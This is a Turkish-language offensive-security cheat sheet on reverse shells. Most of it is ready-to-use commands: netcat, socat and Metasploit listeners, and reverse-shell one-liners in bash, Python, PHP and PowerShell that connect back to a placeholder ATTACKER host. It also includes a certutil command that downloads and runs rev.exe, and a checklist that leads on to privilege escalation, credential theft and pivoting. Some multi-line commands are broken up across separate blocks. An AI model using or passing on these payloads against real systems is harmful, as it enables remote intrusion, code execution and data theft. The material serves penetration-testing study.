Skip to content

Reverse Shells (Linux, Windows, MSFVenom)

generic difficulty: kolay

Reverse shell, hedefin senin dinleyicine bağlanmasını sağlar. Firewall outbound’a daha toleranslı olduğunda bind shell’den daha güvenilirdir. Amaç: stabil bir etkileşimli kabuk, sonra TTY ve gerekirse tünel.

  1. Listener aç (nc / rlwrap / metasploit / socat).

  2. Hedefte çalışan interpreter’a göre payload seç (bash, python, powershell…).

  3. Bağlantıyı doğrula; kırılgan one-liner ise daha stabil ikinci stage yükle.

  4. TTY yükselt (python/script/socat) — interactive araçlar için şart.

Terminal window
nc -lvnp 443
Terminal window
rlwrap nc -lvnp 443
Terminal window
socat file:`tty`,raw,echo=0 tcp-listen:443,reuseaddr
Terminal window
msfconsole -q -x "use multi/handler
Terminal window
set payload linux/x64/shell_reverse_tcp
Terminal window
set LHOST ATTACKER
Terminal window
set LPORT 443
Terminal window
run"
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
python3 -c 'import socket,subprocess,os
Terminal window
s=socket.socket()
Terminal window
s.connect(("ATTACKER",443))
Terminal window
os.dup2(s.fileno(),0)
Terminal window
os.dup2(s.fileno(),1)
Terminal window
os.dup2(s.fileno(),2)
Terminal window
subprocess.call(["/bin/sh","-i"])'
Terminal window
php -r '$s=fsockopen("ATTACKER",443)
Terminal window
exec("/bin/sh -i <&3 >&3 2>&3")
Terminal window
'
Terminal window
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
Terminal window
certutil -urlcache -split -f http://ATTACKER/rev.exe C:\Users\Public\rev.exe & C:\Users\Public\rev.exe
[ ] Listener ayakta (doğru IP/port)
[ ] Outbound yol açık (443/80/53 tercih)
[ ] Payload hedef mimari/OS ile uyumlu
[ ] Stabil shell + TTY
[ ] Sonraki adım: privesc / credential / pivot